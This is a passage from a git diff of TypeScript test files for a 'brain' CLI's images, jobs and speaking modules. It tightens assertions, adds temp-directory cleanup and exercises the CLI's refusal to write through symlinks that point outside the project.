} from "os"; import { join, resolve } from "path"; import { type LoadedModule } from "@schlessera/brain"; @@ -41,9 +41,16 @@ describe("images manifest", () => { }); describe("shipped skills", () => { + const roots: string[] = []; + afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); + }); + function skills() { + const root = mkdtempSync(join(tmpdir(), "brain-images-skills-")); + roots.push(root); const { skills, warnings } = discoverSkills( - { root: mkdtempSync(join(tmpdir(), "brain-images-skills-")), modules: [loaded] }, + { root, modules: [loaded] }, { coreSkillsDir: resolve(import.meta.dir, "no-such-core-skills") } ); expect(warnings).toEqual([]); diff --git a/packages/module-images/tests/scratch.test.ts b/packages/module-images/tests/scratch.test.ts index a0415247bd..3034c4fa34 100644 --- a/packages/module-images/tests/scratch.test.ts +++ b/packages/module-images/tests/scratch.test.ts @@ -15,8 +15,15 @@ import { imageCommand } from "../src/cli"; import { configSchema } from "../src/module"; let root: string; -const saved = { key: process.env.GEMINI_API_KEY, log: console.log, error: console.error, fetch: globalThis.fetch }; +const saved = { key: process.env.GEMINI_API_KEY, openAiKey: process.env.OPENAI_API_KEY, log: console.log, error: console.error, fetch: globalThis.fetch }; let out: string[]; +/** Directories outside the brain, removed in teardown even when the test fails. */ +const outsides: string[] = []; +const outsideDir = () => { + const dir = mkdtempSync(join(tmpdir(), "brain-outside-")); + outsides.push(dir); + return dir; +}; beforeEach(() => { root = mkdtempSync(join(tmpdir(), "brain-image-scratch-")); @@ -34,7 +41,10 @@ afterEach(() => { globalThis.fetch = saved.fetch; if (saved.key === undefined) delete process.env.GEMINI_API_KEY; else process.env.GEMINI_API_KEY = saved.key; + if (saved.openAiKey === undefined) delete process.env.OPENAI_API_KEY; + else process.env.OPENAI_API_KEY = saved.openAiKey; rmSync(root, { recursive: true, force: true }); + for (const dir of outsides.splice(0)) rmSync(dir, { recursive: true, force: true }); }); const run = (argv: string[]) => @@ -126,7 +136,7 @@ describe("brain image --scratch", () => { ignoreScratch(root); // --out asks for .jpeg; the provider answers PNG, so the write goes to // draft.png, where a link to an outside file has been planted. - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, SCRATCH_DIR), { recursive: true }); @@ -137,24 +147,24 @@ describe("brain image --scratch", () => { expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readlinkSync(join(root, SCRATCH_DIR, "draft.png"))).toBe(victim); expect(scratchFiles()).toEqual(["draft.png"]); - rmSync(outside, { recursive: true, force: true }); }); test("a nested directory swapped for a symlink while the request is out is refused, and nothing lands outside", async () => { ignoreScratch(root); - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const nested = join(root, SCRATCH_DIR, "nested"); - stubProvider(() => { + const provider = stubProvider(() => { rmSync(nested, { recursive: true, force: true }); symlinkSync(outside, nested); }); expect(await run(["a lighthouse", "--draft", "--out", `${SCRATCH_DIR}/nested/draft.png`])).toBe(1); + // The request went out: the refusal is the write's, not the pre-flight's. + expect(provider.calls).toBe(1); expect(readdirSync(outside)).toEqual([]); - rmSync(outside, { recursive: true, force: true }); }); test("outside scratch, a corrected name that is a link to an outside file is refused, the file byte-identical", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, "assets"), { recursive: true }); @@ -164,7 +174,6 @@ describe("brain image --scratch", () => { expect(out.join("\n")).toContain("symlink"); expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readlinkSync(join(root, "assets", "draft.png"))).toBe(victim); - rmSync(outside, { recursive: true, force: true }); }); test("a corrected name whose directory came to resolve into unignored scratch while the request was out is refused", async () => { @@ -184,7 +193,7 @@ describe("brain image --scratch", () => { }); test("a derived -2 name that is a link to an outside file is refused, the file byte-identical, the first image kept", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); const victim = join(outside, "victim.png"); writeFileSync(victim, "keep me"); mkdirSync(join(root, "assets"), { recursive: true }); @@ -196,15 +205,10 @@ describe("brain image --scratch", () => { JSON.stringify({ data: [{ b64_json: Buffer.from(PNG_BYTES).toString("base64") }, { b64_json: Buffer.from("second").toString("base64") }] }), { status: 200, headers: { "Content-Type": "application/json" } }, )) as unknown as typeof fetch; - try { - expect(await run(["a lighthouse", "--provider", "openai", "--out", "assets/pair.png"])).toBe(1); - } finally { - delete process.env.OPENAI_API_KEY; - } + expect(await run(["a lighthouse", "--provider", "openai", "--out", "assets/pair.png"])).toBe(1); expect(out.join("\n")).toContain("symlink"); expect(readFileSync(victim, "utf8")).toBe("keep me"); expect(readFileSync(join(root, "assets", "pair.png"), "utf8")).toBe(PNG_BYTES); - rmSync(outside, { recursive: true, force: true }); }); test("an absolute --out inside the brain is reported repo-relative after generation, as in the dry run", async () => { @@ -217,7 +221,7 @@ describe("brain image --scratch", () => { }); test("an absolute --out outside the brain, or through a link out of it, is refused and nothing lands outside (#3422)", async () => { - const outside = mkdtempSync(join(tmpdir(), "brain-outside-")); + const outside = outsideDir(); mkdirSync(join(root, "assets"), { recursive: true }); symlinkSync(outside, join(root, "assets", "link-out")); stubProvider(); @@ -227,15 +231,16 @@ describe("brain image --scratch", () => { expect(out.join("\n")).toContain("Output path is not inside the brain"); } expect(readdirSync(outside)).toEqual([]); - rmSync(outside, { recursive: true, force: true }); }); test("the ignore rule is checked again after the provider call, so a rule lost in flight refuses the write", async () => { ignoreScratch(root); // The rule disappears while the request is out: the pre-flight check // passed, the write must not. - stubProvider(() => writeFileSync(join(root, ".gitignore"), "node_modules\n")); + const provider = stubProvider(() => writeFileSync(join(root, ".gitignore"), "node_modules\n")); expect(await run(["a lighthouse", "--draft", "--scratch"])).toBe(1); + // The request went out: the refusal is the write's, not the pre-flight's. + expect(provider.calls).toBe(1); expect(out.join("\n")).toContain("brain doctor --fix"); expect(scratchFiles()).toEqual([]); }); diff --git a/packages/module-jobs/tests/board-fixtures.test.ts b/packages/module-jobs/tests/board-fixtures.test.ts index a1e23dba96..f34bae1a00 100644 --- a/packages/module-jobs/tests/board-fixtures.test.ts +++ b/packages/module-jobs/tests/board-fixtures.test.ts @@ -253,8 +253,11 @@ describe("remotelyde against its captured listing", () => { ["Grafana Labs", "Spanien +4 weitere"], ["Do Good Ventures", "Weltweit"], ]); + expect(result.items.map((job) => job.title)).toEqual([ + "Senior Backend Engineer - Databases - Analytics | Germany | Remote", + "Director of DTC Growth", + ]); for (const job of result.items) { - expect(job.title).toBeTruthy(); expect(job.company).not.toBe("Unknown"); expect(job.url).toStartWith("https://www.remotely.de/job/"); } @@ -418,21 +421,20 @@ describe("jobgether against the JSON endpoint its robots.txt allows", () => { ); expect(result.errors).toEqual([]); - expect(result.items).toHaveLength(3); + expect(result.items.map((job) => [job.title, job.company])).toEqual([ + ["Senior Backend Engineer - Databases - Analytics | Germany | Remote", "Grafana Labs"], + ["Remote Response Associate, Roadside Assistance (CSR)", "Agero, Inc."], + // The wire carries "Samsara " with a trailing space. + ["AI Architect - GTM Systems", "Samsara"], + ]); for (const job of result.items) { - expect(job.title).toBeTruthy(); - expect(job.company).toBeTruthy(); - expect(job.company).not.toBe("Unknown"); expect(job.url).toStartWith("https://jobgether.com/offer/"); // postedAt is already ISO on this endpoint. expect(job.published_at).toMatch(/^\d{4}-\d{2}-\d{2}T/); } - expect(result.items[0].company).toBe("Grafana Labs"); expect(result.items[0].salary_min).toBe(186240); expect(result.items[0].salary_currency).toBe("EUR"); expect(result.items[0].job_type).toBe("full_time"); - // The wire carries "Samsara " with a trailing space. - expect(result.items[2].company).toBe("Samsara"); }); test("an offer with no company is dropped, and the field is named (#35)", async () => { @@ -814,7 +816,7 @@ describe("each board's own rows, followed to their detail page, are stored with test("remotelyde, row cards (no teaser)", async () => { const { items: jobs } = await scrapeAgainst(new RemotelyDeAdapter(), fixture("remotelyde", "listing-row-cards.html")); - expect(jobs.every((row) => !row.description)).toBe(true); + expect(jobs.map((row) => row.description)).toEqual([undefined, undefined]); const { stats, stored } = await enrichAndStore(jobs, "remotelyde", detail("remotelyde-detail.html"), "www.remotely.de"); expect(stats).toMatchObject({ enriched: jobs.length, failed: 0 }); expectAllDescribed(stored); diff --git a/packages/module-jobs/tests/board-selection-runtime.test.ts b/packages/module-jobs/tests/board-selection-runtime.test.ts index 96fd4c86a1..fef830e2e0 100644 --- a/packages/module-jobs/tests/board-selection-runtime.test.ts +++ b/packages/module-jobs/tests/board-selection-runtime.test.ts @@ -1,12 +1,19 @@ import { afterEach, expect, test } from "bun:test"; import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "../../core/tests/cli-harness"; +import { BRAIN_BIN, cleanup, keylessEnv as harnessEnv, makeTempBrain, runCli as harnessCli } from "../../core/tests/cli-harness"; +import { withoutSigning } from "../../core/tests/git-fixture"; import manifest, { configSchema } from "../src/module"; import { ALL_SOURCES, RETIRED_SOURCES } from "../src/types"; import { openDatabase } from "../src/db"; import { ingestJobs } from "../src/scrape"; +// Settings saves commit through the CLI. Every Git child, fixture and product +// alike, gets signing disabled at command scope, so no ambient signing +// configuration reaches these temporary repositories (#3485). +const keylessEnv = (root: string) => withoutSigning(harnessEnv(root)); +const runCli = (root: string, args: string[]) => harnessCli(root, args, keylessEnv(root)); + const roots: string[] = []; afterEach(() => { for (const root of roots.splice(0)) cleanup(root); }); const curated = ["remoteok", "weworkremotely", "workingnomads", "remotelyde"]; @@ -191,8 +198,8 @@ test("an intentionally empty scrape leaves an existing nonempty jobs database al const path = join(root, "jobs.db"); const db = openDatabase(path); ingestJobs(db, [ - { source: "remoteok", source_id: "fixture-1", title: "Senior Engineer", company: "Acme" }, - { source: "workingnomads", source_id: "fixture-2", title: "Senior Engineer", company: "Acme" }, + { source: "remoteok", source_id: "fixture-1", title: "Senior Engineer", company: "Ithaca Fleet" }, + { source: "workingnomads", source_id: "fixture-2", title: "Senior Engineer", company: "Ithaca Fleet" }, ]); const before = db.query("SELECT * FROM jobs ORDER BY id").all(); expect(before).toHaveLength(2); diff --git a/packages/module-jobs/tests/default-boards.test.ts b/packages/module-jobs/tests/default-boards.test.ts index 751c159080..ee27843804 100644 --- a/packages/module-jobs/tests/default-boards.test.ts +++ b/packages/module-jobs/tests/default-boards.test.ts @@ -38,7 +38,7 @@ test("direct runScrape without sources executes the same curated boards as the C expect(cli.sources.map((entry: { source: string }) => entry.source)).toEqual(curated); for (const report of [direct, cli]) { expect(report.sources).toHaveLength(4); - expect(report.sources.every((entry: { status: string }) => entry.status === "empty")).toBe(true); + expect(report.sources.map((entry: { status: string }) => entry.status)).toEqual(curated.map(() => "empty")); expect(report.total_errors).toEqual([]); } }); @@ -75,7 +75,7 @@ test("fixture declarations contribute choices and on/off defaults without editin for (const direct of [false, true]) { const report = await scrape(root, source, direct); expect(report.sources.map((entry: { source: string }) => entry.source)).toEqual(["fixture-on", ...curated]); - expect(report.sources.every((entry: { status: string }) => entry.status === "empty")).toBe(true); + expect(report.sources.map((entry: { status: string }) => entry.status)).toEqual(["fixture-on", ...curated].map(() => "empty")); expect(report.total_errors).toEqual([]); } }); diff --git a/packages/module-jobs/tests/fixture-records.test.ts b/packages/module-jobs/tests/fixture-records.test.ts index eb00eab594..1095b07327 100644 --- a/packages/module-jobs/tests/fixture-records.test.ts +++ b/packages/module-jobs/tests/fixture-records.test.ts @@ -168,11 +168,11 @@ describe("trimmed JSON-LD fixtures", () => { }; walk(JSON.parse(json)); - expect(lists.length).toBeGreaterThan(0); - for (const list of lists) { - if (list.numberOfItems === undefined) continue; - expect(list.numberOfItems).toBe(list.itemListElement.length); - } + // A list that declares no count passes the comparison vacuously, so the + // fixture must carry at least one list that does. + const declared = lists.filter((list) => list.numberOfItems !== undefined); + expect(declared.length).toBeGreaterThan(0); + for (const list of declared) expect(list.numberOfItems).toBe(list.itemListElement.length); }); } }); diff --git a/packages/module-jobs/tests/jobs-dedup.test.ts b/packages/module-jobs/tests/jobs-dedup.test.ts index 7c1db1095a..38eecaa2e3 100644 --- a/packages/module-jobs/tests/jobs-dedup.test.ts +++ b/packages/module-jobs/tests/jobs-dedup.test.ts @@ -27,14 +27,14 @@ describe("normalizeTitle", () => { describe("computeFingerprint", () => { test("senior vs junior at the same company do not collide", () => { - expect(computeFingerprint("Acme", "Senior Engineer")).not.toBe( - computeFingerprint("Acme", "Junior Engineer") + expect(computeFingerprint("Ithaca Fleet", "Senior Engineer")).not.toBe( + computeFingerprint("Ithaca Fleet", "Junior Engineer") ); }); test("same job cross-source still collides (dedup keeps working)", () => { - expect(computeFingerprint("Acme Inc.", "Senior Platform Engineer")).toBe( - computeFingerprint("Acme", "Senior Platform Engineer - Remote") + expect(computeFingerprint("Ithaca Fleet Inc.", "Senior Platform Engineer")).toBe( + computeFingerprint("Ithaca Fleet", "Senior Platform Engineer - Remote") ); }); @@ -62,12 +62,12 @@ describe("runDedup integration", () => { const db = openDatabase(":memory:"); const jobs: RawJob[] = [ - { source: "remoteok", source_id: "r1", title: "Senior Platform Engineer", company: "Acme" }, + { source: "remoteok", source_id: "r1", title: "Senior Platform Engineer", company: "Ithaca Fleet" }, { source: "remotive", source_id: "v1", title: "Senior Platform Engineer - Remote", - company: "Acme Inc.", + company: "Ithaca Fleet Inc.", }, { source: "nodesk", diff --git a/packages/module-jobs/tests/jobs-fts.test.ts b/packages/module-jobs/tests/jobs-fts.test.ts index ef142d938c..0c5a58331c 100644 --- a/packages/module-jobs/tests/jobs-fts.test.ts +++ b/packages/module-jobs/tests/jobs-fts.test.ts @@ -10,7 +10,7 @@ function makeRawJob(overrides: Partial = {}): RawJob { source: "remoteok", source_id: "job-1", title: "Platform Systems Engineer", - company: "Acme", + company: "Ithaca Fleet", description: "

Build distributed orchestration platforms.

", url: "https://example.com/job-1", ...overrides, @@ -55,7 +55,7 @@ describe("FTS sync on ingest", () => { expect(stats.new).toBe(0); const row = db.query("SELECT last_seen_at FROM jobs").get() as { last_seen_at: string }; - expect(row.last_seen_at > "2020-01-02").toBe(true); + expect(Date.parse(row.last_seen_at)).toBeGreaterThan(Date.parse("2020-01-02")); db.close(); }); }); diff --git a/packages/module-jobs/tests/jobs-ingest-refresh.test.ts b/packages/module-jobs/tests/jobs-ingest-refresh.test.ts index cf600797fb..3acedb22f8 100644 --- a/packages/module-jobs/tests/jobs-ingest-refresh.test.ts +++ b/packages/module-jobs/tests/jobs-ingest-refresh.test.ts @@ -89,10 +89,10 @@ describe("the FTS sync check", () => { // Without this, every `expectFtsInSync` below could pass over exactly the // drift it is there to catch. withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); expect(ftsInSync(db)).toBe(true); - db.run("UPDATE jobs SET company = 'Globex'"); + db.run("UPDATE jobs SET company = 'Phaeacian Fleet'"); expect(ftsInSync(db)).toBe(false); }); }); @@ -122,11 +122,11 @@ describe("company", () => { test("a corrected company replaces the stored one, with its derived columns", () => { withDb((db) => { ingestJobs(db, [job()]); - ingestJobs(db, [job({ company: "Acme Robotics GmbH" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights GmbH" })]); const stored = row(db, "dice", "/job-detail/1"); - expect(stored.company).toBe("Acme Robotics GmbH"); - expect(stored.company_normalized).toBe(normalizeCompany("Acme Robotics GmbH")); + expect(stored.company).toBe("Ithaca Shipwrights GmbH"); + expect(stored.company_normalized).toBe(normalizeCompany("Ithaca Shipwrights GmbH")); expect(stored.fingerprint).toBe( computeFingerprint(stored.company, stored.title, { source: stored.source, sourceId: stored.source_id }) ); @@ -139,9 +139,9 @@ describe("company", () => { const id = row(db, "dice", "/job-detail/1").id; expect(ftsMatches(db, "company:unknown")).toEqual([id]); - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); - expect(ftsMatches(db, "company:robotics")).toEqual([id]); + expect(ftsMatches(db, "company:shipwrights")).toEqual([id]); expect(ftsMatches(db, "company:unknown")).toEqual([]); expectFtsInSync(db); }); @@ -151,18 +151,18 @@ describe("company", () => { // `Unknown` is the adapters' "no company on this card". Treated like a // null: a row that already has a real company keeps it. withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); const before = row(db, "dice", "/job-detail/1"); ingestJobs(db, [job({ company: "Unknown", title: "Staff Platform Engineer" })]); const after = row(db, "dice", "/job-detail/1"); - expect(after.company).toBe("Acme Robotics"); + expect(after.company).toBe("Ithaca Shipwrights"); expect(after.company_normalized).toBe(before.company_normalized); expect(after.fingerprint).toBe( - computeFingerprint("Acme Robotics", "Staff Platform Engineer", { source: "dice", sourceId: "/job-detail/1" }) + computeFingerprint("Ithaca Shipwrights", "Staff Platform Engineer", { source: "dice", sourceId: "/job-detail/1" }) ); - expect(ftsMatches(db, "company:robotics")).toEqual([after.id]); + expect(ftsMatches(db, "company:shipwrights")).toEqual([after.id]); expectFtsInSync(db); }); }); @@ -171,8 +171,8 @@ describe("company", () => { describe("derived columns follow the title too", () => { test("a changed title recomputes title_normalized and the fingerprint", () => { withDb((db) => { - ingestJobs(db, [job({ company: "Acme Robotics" })]); - ingestJobs(db, [job({ company: "Acme Robotics", title: "Principal Platform Engineer" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights" })]); + ingestJobs(db, [job({ company: "Ithaca Shipwrights", title: "Principal Platform Engineer" })]); const stored = row(db, "dice", "/job-detail/1"); expect(stored.title_normalized).toBe(normalizeTitle("Principal Platform Engineer")); @@ -184,7 +184,7 @@ describe("derived columns follow the title too", () => { }); describe("a row whose fingerprint changes moves dedup group", () => { - const acme = (source: RawJob["source"], sourceId: string, company = "Acme Robotics"): RawJob => + const listing = (source: RawJob["source"], sourceId: string, company = "Ithaca Shipwrights"): RawJob => job({ source, source_id: sourceId, company, title: "Platform Engineer", url: undefined, source_url: undefined }); function age(db: Database, source: string, sourceId: string, firstSeen: string): void { @@ -193,13 +193,13 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a duplicate whose company changes is released, and is not re-marked", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); runDedup(db); const canonical = row(db, "remoteok", "a"); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: canonical.id }); - ingestJobs(db, [acme("weworkremotely", "b", "Globex")]); + ingestJobs(db, [listing("weworkremotely", "b", "Phaeacian Fleet")]); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 0, duplicate_of: null }); expect(runDedup(db).duplicates_found).toBe(0); @@ -209,14 +209,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a canonical whose company changes releases the duplicates that pointed at it", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b"), acme("workingnomads", "c")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b"), listing("workingnomads", "c")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); const canonical = row(db, "remoteok", "a"); expect(row(db, "workingnomads", "c").duplicate_of).toBe(canonical.id); - ingestJobs(db, [acme("remoteok", "a", "Globex")]); + ingestJobs(db, [listing("remoteok", "a", "Phaeacian Fleet")]); // b and c still share the old fingerprint; they are released and // regrouped among themselves, the older one canonical. @@ -231,12 +231,12 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a row whose corrected company joins an existing group is deduped into it", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("dice", "d", "Unknown")]); + ingestJobs(db, [listing("remoteok", "a"), listing("dice", "d", "Unknown")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); // `Unknown` fingerprints on identity, so these are not duplicates yet. expect(runDedup(db).duplicates_found).toBe(0); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); expect(runDedup(db).duplicates_found).toBe(1); expect(row(db, "dice", "d")).toMatchObject({ is_duplicate: 1, duplicate_of: row(db, "remoteok", "a").id }); }); @@ -247,14 +247,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { // Every existing duplicate must end up pointing at it — not at the old // canonical, which is now a duplicate itself. withDb((db) => { - ingestJobs(db, [acme("dice", "d", "Unknown"), acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("dice", "d", "Unknown"), listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "dice", "d", "2025-12-01T00:00:00.000Z"); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); expect(row(db, "weworkremotely", "b").duplicate_of).toBe(row(db, "remoteok", "a").id); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); runDedup(db); const d = row(db, "dice", "d"); @@ -278,14 +278,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { // that later joins their fingerprint must not bring them back into the // review queue. withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b"), acme("dice", "d", "Unknown")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b"), listing("dice", "d", "Unknown")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); deleteJob(db, row(db, "remoteok", "a").id); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: null }); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); runDedup(db); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: null }); @@ -295,11 +295,11 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("an unchanged re-scrape leaves dedup marks alone", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); runDedup(db); - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, diff --git a/packages/module-jobs/tests/jobs-score.test.ts b/packages/module-jobs/tests/jobs-score.test.ts index 9e28350dea..56d3c5beb3 100644 --- a/packages/module-jobs/tests/jobs-score.test.ts +++ b/packages/module-jobs/tests/jobs-score.test.ts @@ -10,7 +10,7 @@ beforeAll(() => { function makeJob(overrides: Partial = {}): ScoreJobInput { return { title: "Software Engineer", - company: "Acme Corp", + company: "Ithaca Fleet", description_text: null, location: null, tags: null, diff --git a/packages/module-jobs/tests/jobs-search-cli.test.ts b/packages/module-jobs/tests/jobs-search-cli.test.ts index 1791e84cbb..5b4f713b55 100644 --- a/packages/module-jobs/tests/jobs-search-cli.test.ts +++ b/packages/module-jobs/tests/jobs-search-cli.test.ts @@ -67,7 +67,12 @@ for (const [name, flags] of invalidCases) { for (const seeded of [false, true]) { test(`jobs search gives usage for ${name} with ${seeded ? "populated" : "absent"} database`, async () => { const root = seeded ? populated : fixture(); + const path = join(root, "jobs.db"); + expect(existsSync(path)).toBe(seeded); const result = await runCli(root, ["jobs", "search", "navigation", ...flags]); + // Keep this before the usage assertion: it independently observes opening + // with CREATE, even when the later SQL query fails for the expected reason. + expect(existsSync(path)).toBe(seeded); expect(result.stderr).toContain("--limit must be a positive safe integer"); expect(result.stderr).toContain("Usage: brain jobs search"); expect(result.code).toBe(1); @@ -75,17 +80,6 @@ for (const [name, flags] of invalidCases) { expect(result.stderr).not.toMatch(/datatype mismatch|SQLITE|SQLiteError/); }); } - - test(`jobs search does not create a database for ${name}`, async () => { - const root = fixture(); - const path = join(root, "jobs.db"); - expect(existsSync(path)).toBe(false); - const result = await runCli(root, ["jobs", "search", "navigation", ...flags]); - // Keep this before the usage assertion: it independently observes opening - // with CREATE, even when the later SQL query fails for the expected reason. - expect(existsSync(path)).toBe(false); - expect(result.code).toBe(1); - }); } for (const [name, flags, count] of [ diff --git a/packages/module-jobs/tests/pipeline.test.ts b/packages/module-jobs/tests/pipeline.test.ts index be293e98c7..4bfb516e05 100644 --- a/packages/module-jobs/tests/pipeline.test.ts +++ b/packages/module-jobs/tests/pipeline.test.ts @@ -111,7 +111,7 @@ describe("jobs pipeline", () => { const text = readFileSync(join(root, INDEX), "utf8"); // Every byte of the old frontmatter survives, the spec appended after it; // only `updated` moves, because the region changed. - expect(text.replace(/^updated: \S+$/m, "updated: 2026-01-01").startsWith(`${head}registry:\n`)).toBe(true); + expect(text.replace(/^updated: \S+$/m, "updated: 2026-01-01")).toStartWith(`${head}registry:\n`); expect(text).toContain(`\n---\n\n${prose}\n`); const { active, closed } = tables(text); expect(active.length).toBeGreaterThan(0); diff --git a/packages/module-jobs/tests/settings.test.ts b/packages/module-jobs/tests/settings.test.ts index 083bbc3b43..ccc265c082 100644 --- a/packages/module-jobs/tests/settings.test.ts +++ b/packages/module-jobs/tests/settings.test.ts @@ -143,7 +143,7 @@ test("board choices follow adapter registry additions and expose documented bloc expect(getAdapterOptions().find((o) => o.source === "remotive")).toMatchObject({ status: "blocked", caveat: expect.stringContaining("permission") }); const registry = ADAPTERS as Record; registry.fixture = ADAPTERS.remoteok; - try { expect(jobsSettings().fields.find((f) => f.key === "boards")!.options!.some((o) => o.value === "fixture")).toBe(true); } + try { expect(jobsSettings().fields.find((f) => f.key === "boards")!.options!.map((o) => o.value)).toContain("fixture"); } finally { delete registry.fixture; } }); @@ -160,7 +160,7 @@ test.each([ expect(loadScoringConfig(root, "career/criteria.md")).toEqual(parseScoringConfig(original.data.scoring)); const plan = planScoringMigration(root, { criteria: "career/criteria.md" }); const after = plan.changes[0]!.after; - expect(after.startsWith(opening)).toBe(true); + expect(after).toStartWith(opening); expect(after).toContain("Keep spelling"); expect(parseFrontmatter(after).data).toEqual({ other: "Keep spelling" }); expect(parseFrontmatter(after).content).toBe(original.content); diff --git a/packages/module-jobs/tests/shared-adapter.test.ts b/packages/module-jobs/tests/shared-adapter.test.ts index 63b5ffffbd..2e3ebdc957 100644 --- a/packages/module-jobs/tests/shared-adapter.test.ts +++ b/packages/module-jobs/tests/shared-adapter.test.ts @@ -68,7 +68,7 @@ describe("real job boards through the shared runner", () => { }); expect(outcomes[0].status).toBe("ok"); expect(outcomes[0].items.length).toBeGreaterThan(0); - expect(outcomes[0].items.every((item) => item.source === source && item.title.length > 0)).toBe(true); + expect(outcomes[0].items.filter((item) => item.source !== source || item.title.length === 0)).toEqual([]); expect(outcomes[0].id).toBe(source); expect(adapter.needsBrowser ? chrome.requests.length : http.requests.length).toBeGreaterThan(0); expect(chrome.closed()).toBe(0); // Caller-owned transports stay open. diff --git a/packages/module-speaking/tests/module.test.ts b/packages/module-speaking/tests/module.test.ts index 66d56b6285..d3a5c186c0 100644 --- a/packages/module-speaking/tests/module.test.ts +++ b/packages/module-speaking/tests/module.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from "bun:test"; -import { mkdtempSync } from "fs"; +import { afterAll, beforeAll, describe, expect, it } from "bun:test"; +import { mkdtempSync, rmSync } from "fs"; import { tmpdir } from "os"; import { join, resolve } from "path"; import { type LoadedModule } from "@schlessera/brain"; @@ -44,10 +44,8 @@ describe("speaking manifest", () => { }); it("excludes slide-deck working segments", () => { - const segments = contribution.exclude?.segments ?? []; - expect(segments).toContain("alt-decks"); - expect(segments).toContain("versions"); - expect(segments).toContain("deck"); + // Exactly these: an extra segment would hide real talk or conference documents. + expect(contribution.exclude?.segments).toEqual(["alt-decks", "versions", "deck"]); }); }); @@ -72,7 +70,15 @@ describe("speaking configSchema", () => { }); it("rejects unknown keys", () => { - expect(() => configSchema.parse({ nope: true })).toThrow(); + expect(configSchema.safeParse({ nope: true }).error?.issues).toMatchObject([ + { code: "unrecognized_keys", keys: ["nope"], path: [] }, + ]); + const member = configSchema.safeParse({ + travelParty: [{ name: "Odysseus", ship: "the black ship" }], + }); + expect(member.error?.issues).toMatchObject([ + { code: "unrecognized_keys", keys: ["ship"], path: ["travelParty", 0] }, + ]); }); }); @@ -80,9 +86,11 @@ describe("speaking taxonomy roundtrip", () => { const taxonomy = buildTaxonomy({ modules: [loaded()] }); it("resolves each contributed type's dir back to the type", () => { - for (const type of ["talk", "conference"]) { - const dir = taxonomy.dirForType(type); - expect(dir).not.toBeNull(); + for (const [type, dir] of [ + ["talk", "talks"], + ["conference", "conferences"], + ] as const) { + expect(taxonomy.dirForType(type)).toBe(dir); expect(taxonomy.typeForPath(`${dir}/x.md`)).toBe(type); } }); @@ -108,9 +116,18 @@ describe("shipped skills", () => { config: {}, }; + // An empty brain root, so only the module's own skills are discovered. + let root = ""; + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "brain-speaking-skills-")); + }); + afterAll(() => { + if (root) rmSync(root, { recursive: true, force: true }); + }); + function skills() { const { skills, warnings } = discoverSkills( - { root: mkdtempSync(join(tmpdir(), "brain-speaking-skills-")), modules: [forSkills] }, + { root, modules: [forSkills] }, { coreSkillsDir: resolve(import.meta.dir, "no-such-core-skills") } ); expect(warnings).toEqual([]); diff --git 